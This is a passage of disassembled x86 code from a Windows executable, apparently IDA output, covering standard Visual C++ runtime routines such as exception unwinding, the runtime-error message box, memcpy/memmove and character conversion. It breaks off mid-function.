		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D2A6
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D2E2
		call	dword ptr [ebx+esi*4+8]


loc_41D2A6:				; CODE XREF: sub_41D24E+44j
		jmp	short loc_41D26B
; ---------------------------------------------------------------------------


loc_41D2A8:				; CODE XREF: sub_41D24E+2Aj
					; sub_41D24E+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D24E	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_41D22C
		jnz	short locret_41D2D8
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D2D8
		mov	eax, 1

locret_41D2D8:				; CODE XREF: ___:0041D2C6j
					; ___:0041D2D1j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_43BAD8
		jmp	short loc_41D2EC

; =============== S U B	R O U T	I N E =======================================



sub_41D2E2	proc near		; CODE XREF: sub_41D24E+4Fp
					; sub_41D304+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43BAD8
		mov	ecx, [ebp+8]


loc_41D2EC:				; CODE XREF: ___:0041D2E0j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D2E2	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D304	proc near		; DATA XREF: sub_41BC2B+Ao
					; sub_41D6F3+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D3A4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D337:				; CODE XREF: sub_41D304+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D39D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D38B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D38B
		js	short loc_41D396
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D20C
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D24E
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D2E2
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D38B:				; CODE XREF: sub_41D304+40j
					; sub_41D304+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D337
; ---------------------------------------------------------------------------


loc_41D396:				; CODE XREF: sub_41D304+54j
		mov	eax, 0
		jmp	short loc_41D3B9
; ---------------------------------------------------------------------------


loc_41D39D:				; CODE XREF: sub_41D304+36j
		mov	eax, 1
		jmp	short loc_41D3B9
; ---------------------------------------------------------------------------


loc_41D3A4:				; CODE XREF: sub_41D304+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D24E
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D3B9:				; CODE XREF: sub_41D304+97j
					; sub_41D304+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D304	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D24E
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41D3DC	proc near		; CODE XREF: sub_4191E5+9p
		mov	eax, dword_5158D8
		cmp	eax, 1
		jz	short loc_41D3F3
		test	eax, eax
		jnz	short locret_41D414
		cmp	dword_43B594, 1
		jnz	short locret_41D414


loc_41D3F3:				; CODE XREF: sub_41D3DC+8j
		push	0FCh
		call	sub_41D415
		mov	eax, dword_515A30
		pop	ecx
		test	eax, eax
		jz	short loc_41D409
		call	eax


loc_41D409:				; CODE XREF: sub_41D3DC+29j
		push	0FFh
		call	sub_41D415
		pop	ecx

locret_41D414:				; CODE XREF: sub_41D3DC+Cj
					; sub_41D3DC+15j
		retn
sub_41D3DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D415	proc near		; CODE XREF: sub_4191E5+12p
					; sub_41D3DC+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BAE8


loc_41D428:				; CODE XREF: sub_41D415+20j
		cmp	edx, [eax]
		jz	short loc_41D437
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BB78
		jl	short loc_41D428


loc_41D437:				; CODE XREF: sub_41D415+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BAE8[esi]
		jnz	loc_41D565
		mov	eax, dword_5158D8
		cmp	eax, 1
		jz	loc_41D53F
		test	eax, eax
		jnz	short loc_41D468
		cmp	dword_43B594, 1
		jz	loc_41D53F


loc_41D468:				; CODE XREF: sub_41D415+44j
		cmp	edx, 0FCh
		jz	loc_41D565
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 7C80B4CFh
		test	eax, eax
		jnz	short loc_41D49F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_417A00
		pop	ecx
		pop	ecx


loc_41D49F:				; CODE XREF: sub_41D415+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AF0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41D4E2
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AF0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_4182F0
		add	esp, 10h


loc_41D4E2:				; CODE XREF: sub_41D415+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_417A00
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_417A10
		lea	eax, [ebp+var_A0]
		push	offset asc_4219C0 ; "\n\n"
		push	eax
		call	sub_417A10
		push	off_43BAEC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417A10
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41EE5D
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D565
; ---------------------------------------------------------------------------


loc_41D53F:				; CODE XREF: sub_41D415+3Cj
					; sub_41D415+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BAEC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AF0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 7C812F39h
		push	eax
		nop
		call	near ptr 7C810D87h


loc_41D565:				; CODE XREF: sub_41D415+2Ej
					; sub_41D415+59j ...
		pop	esi
		leave
		retn
sub_41D415	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; CODE XREF: sub_41922E+6Cp
					; sub_41B582+32p ...

arg_0		= dword	ptr  4

		inc	dword_515A34
		push	1000h
		call	sub_417BEE
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D591
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D5A2
; ---------------------------------------------------------------------------


loc_41D591:				; CODE XREF: sub_41D568+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D5A2:				; CODE XREF: sub_41D568+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D568	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5AC	proc near		; CODE XREF: sub_41922E+61p
					; sub_41C981+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_516C80
		jb	short loc_41D5BB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D5BB:				; CODE XREF: sub_41D5AC+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_516B80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D5AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5D2	proc near		; DATA XREF: ___:00423014o
		mov	eax, dword_516B60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D5E6
		mov	eax, 200h
		jmp	short loc_41D5EC
; ---------------------------------------------------------------------------


loc_41D5E6:				; CODE XREF: sub_41D5D2+Bj
		cmp	eax, esi
		jge	short loc_41D5F1
		mov	eax, esi


loc_41D5EC:				; CODE XREF: sub_41D5D2+12j
		mov	dword_516B60, eax


loc_41D5F1:				; CODE XREF: sub_41D5D2+16j
		push	4
		push	eax
		call	sub_41EEE6
		pop	ecx
		mov	dword_515B4C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D625
		push	4
		push	esi
		mov	dword_516B60, esi
		call	sub_41EEE6
		pop	ecx
		mov	dword_515B4C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D625
		push	1Ah
		call	sub_4191E5
		pop	ecx


loc_41D625:				; CODE XREF: sub_41D5D2+30j
					; sub_41D5D2+49j
		xor	ecx, ecx
		mov	eax, offset off_43BB78


loc_41D62C:				; CODE XREF: sub_41D5D2+6Ej
		mov	edx, dword_515B4C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BDF8
		jl	short loc_41D62C
		xor	edx, edx
		mov	ecx, offset dword_43BB88


loc_41D649:				; CODE XREF: sub_41D5D2+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_516B80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D666
		test	eax, eax
		jnz	short loc_41D669


loc_41D666:				; CODE XREF: sub_41D5D2+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41D669:				; CODE XREF: sub_41D5D2+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BBE8
		jl	short loc_41D649
		pop	esi
		retn
sub_41D5D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D677	proc near		; DATA XREF: ___:00423020o

; FUNCTION CHUNK AT 0041EF63 SIZE 00000058 BYTES

		call	sub_41B50C
		cmp	byte_5158C4, 0
		jz	short locret_41D68A
		jmp	loc_41EF63
; ---------------------------------------------------------------------------

locret_41D68A:				; CODE XREF: sub_41D677+Cj
		retn
sub_41D677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D68B	proc near		; CODE XREF: sub_419343+2D4p
					; sub_419343+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D697
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D697:				; CODE XREF: sub_41D68B+8j
		cmp	dword_5158EC, 0
		jnz	short loc_41D6B2
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D6E4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D6B2:				; CODE XREF: sub_41D68B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43B7AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_5158FC
		nop
		call	near ptr 7C80A0D4h
		test	eax, eax
		jz	short loc_41D6E4
		cmp	[ebp+arg_0], 0
		jz	short loc_41D6F1


loc_41D6E4:				; CODE XREF: sub_41D68B+1Ej
					; sub_41D68B+51j
		mov	dword_515884, 2Ah
		or	eax, 0FFFFFFFFh


loc_41D6F1:				; CODE XREF: sub_41D68B+57j
		pop	ebp
		retn
sub_41D68B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6F3	proc near		; CODE XREF: sub_419B4D+5Ep
					; sub_41C23B+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A00
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_515A38
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D762
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4216A0
		push	esi
		nop
		call	near ptr 7C80A490h
		test	eax, eax
		jz	short loc_41D740
		mov	eax, esi
		jmp	short loc_41D75D
; ---------------------------------------------------------------------------


loc_41D740:				; CODE XREF: sub_41D6F3+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_441700
		push	esi
		push	ebx
		nop
		call	near ptr 7C838A0Ch
		test	eax, eax
		jz	loc_41D828
		push	2
		pop	eax


loc_41D75D:				; CODE XREF: sub_41D6F3+4Bj
		mov	dword_515A38, eax


loc_41D762:				; CODE XREF: sub_41D6F3+2Fj
		cmp	eax, 2
		jnz	short loc_41D78B
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41D773
		mov	eax, dword_5158EC


loc_41D773:				; CODE XREF: sub_41D6F3+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 7C838A0Ch
		jmp	loc_41D82A
; ---------------------------------------------------------------------------


loc_41D78B:				; CODE XREF: sub_41D6F3+72j
		cmp	eax, 1
		jnz	loc_41D828
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41D7A1
		mov	eax, dword_5158FC
		mov	[ebp+arg_10], eax


loc_41D7A1:				; CODE XREF: sub_41D6F3+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 7C809BF8h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41D828
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417430
		add	esp, 0Ch
		jmp	short loc_41D7F7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41D7F7:				; CODE XREF: sub_41D6F3+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D828
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 7C809BF8h
		cmp	eax, ebx
		jz	short loc_41D828
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80A490h
		jmp	short loc_41D82A
; ---------------------------------------------------------------------------


loc_41D828:				; CODE XREF: sub_41D6F3+61j
					; sub_41D6F3+9Bj ...
		xor	eax, eax


loc_41D82A:				; CODE XREF: sub_41D6F3+93j
					; sub_41D6F3+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D6F3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D840	proc near		; CODE XREF: sub_419C82+2EEp
					; sub_41C8F5+1Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D860
		cmp	edi, eax
		jb	loc_41D9D8


loc_41D860:				; CODE XREF: sub_41D840+16j
		test	edi, 3
		jnz	short loc_41D87C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------


loc_41D87C:				; CODE XREF: sub_41D840+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D894
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D89C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D894:				; CODE XREF: sub_41D840+46j
		jmp	dword ptr loc_41D998[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D89C:				; CODE XREF: sub_41D840+31j
					; sub_41D840+8Ej ...
		jmp	off_41D91C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D8B0
		dd offset loc_41D8DC
		dd offset loc_41D900
; ---------------------------------------------------------------------------


loc_41D8B0:				; DATA XREF: sub_41D840+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D8DC:				; DATA XREF: sub_41D840+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D900:				; DATA XREF: sub_41D840+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D91C	dd offset loc_41D97F	; DATA XREF: sub_41D840:loc_41D89Cr
		dd offset loc_41D96C
		dd offset loc_41D964
		dd offset loc_41D95C
		dd offset loc_41D954
		dd offset loc_41D94C
		dd offset loc_41D944
		dd offset loc_41D93C
; ---------------------------------------------------------------------------


loc_41D93C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D944:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D94C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D954:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D95C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D964:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D96C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D97F:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840:off_41D91Co
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D988	dd offset loc_41D998	; DATA XREF: sub_41D840+35r
					; sub_41D840+92r ...
		dd offset loc_41D9A0
		dd offset loc_41D9AC
		dd offset loc_41D9C0
; ---------------------------------------------------------------------------


loc_41D998:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D9A0:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D9AC:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D9C0:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D9D8:				; CODE XREF: sub_41D840+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41DA0C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41DA00:				; CODE XREF: sub_41D840+1B1j
					; sub_41D840+208j ...
		neg	ecx
		jmp	dword ptr loc_41DACF+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41DA0C:				; CODE XREF: sub_41D840+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41DA24
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41DA24+4[eax*4]
; ---------------------------------------------------------------------------


loc_41DA24:				; CODE XREF: sub_41D840+1D6j
					; DATA XREF: sub_41D840+1DDr
		jmp	off_41DB20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41DA37+1
; ---------------------------------------------------------------------------
		pop	eax
		fiadd	dword ptr [ecx+0]
		sbb	dl, 41h


loc_41DA37:				; DATA XREF: sub_41D840+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41DAD4
		dd offset loc_41DADC
		dd offset loc_41DAE4
		dd offset loc_41DAEC
		dd offset loc_41DAF4
; ---------------------------------------------------------------------------
		cld
		fiadd	dword ptr [ecx+0]
		add	al, 0DBh
		inc	ecx


loc_41DACF:				; DATA XREF: sub_41D840+1C2r
		add	[edi], dl
		fild	dword ptr [ecx+0]


loc_41DAD4:				; DATA XREF: sub_41D840+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41DADC:				; DATA XREF: sub_41D840+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41DAE4:				; DATA XREF: sub_41D840+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41DAEC:				; DATA XREF: sub_41D840+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41DAF4:				; DATA XREF: sub_41D840+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41DB17:				; CODE XREF: sub_41D840+1C2j
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41DB20	dd offset loc_41DB30	; DATA XREF: sub_41D840+1B7r
					; sub_41D840:loc_41DA24r ...
		dd offset loc_41DB38
		dd offset loc_41DB48
		dd offset loc_41DB5C
; ---------------------------------------------------------------------------


loc_41DB30:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41DB38:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41DB48:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41DB5C:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB75	proc near		; CODE XREF: sub_41A824+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DB98
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DB98
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DB9E
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DB98
		mov	[eax], bx


loc_41DB98:				; CODE XREF: sub_41DB75+Cj
					; sub_41DB75+11j ...
		xor	eax, eax


loc_41DB9A:				; CODE XREF: sub_41DB75+42j
					; sub_41DB75+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DB9E:				; CODE XREF: sub_41DB75+17j
		cmp	dword_5158EC, ebx
		jnz	short loc_41DBB9
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41DBB4
		movzx	ax, al
